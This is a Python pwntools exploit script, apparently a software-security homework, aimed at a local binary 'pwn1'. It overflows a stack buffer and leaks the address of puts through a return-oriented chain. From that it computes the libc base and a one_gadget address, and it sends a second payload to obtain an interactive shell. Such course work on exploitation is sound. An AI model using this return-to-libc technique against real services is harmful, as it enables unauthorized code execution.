#coding=utf-8
"""
 Homework 01 Software Security
 Author: Wyb-Sooyibin
 Date: 2021-4-13
"""

from pwn import *
from LibcSearcher import *

context(arch = 'i386', os = 'linux', log_level = 'debug')
p = process(["./ld-2.31-dbg.so","./pwn1"], env={"LD_PRELOAD":"./libc-2.31-dbg.so"})
#libc = ELF("./libc-2.31-dbg.so")
elf = ELF("./pwn1")
p.recv()
#pwnlib.gdb.attach(p)

""" 获取相关地址 """
puts_plt = 0x401060
pop_rdi_addr = 0x401283
mov_addr = 0x401260
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
print("puts_got = " + hex(puts_got))
print("main_addr = " + hex(main_addr))

# rdi, rsi, rdx, rcx, r8, r9
""" 构造第一轮栈布局 """
payload = 'A' * 0x38
payload += p64(pop_rdi_addr)
payload += p64(puts_got) # rdi
payload += p64(puts_plt) # ret to puts
payload += p64(main_addr) # ret addr 
p.sendline(payload)

puts_addr = u64(p.recv(6)+'\x00'*2)
print("puts_addr = " + hex(puts_addr))

""" 计算libc基址和one_gadget地址 """
puts_offset = 0x076b10
onegadget_offset = 0xcbcb1
pop_addr = 0x040127c
libcbase = puts_addr - puts_offset
print("libcbase = " + str(hex(libcbase)))
onegadget_addr = libcbase + onegadget_offset
print("one_gadget_addr = " + hex(onegadget_addr))

""" 构造第二轮栈布局 """
payload =  'A' * 0x38
payload += p64(pop_addr)
payload += p64(0) * 4
payload += p64(onegadget_addr)
p.sendline(payload)

p.interactive()
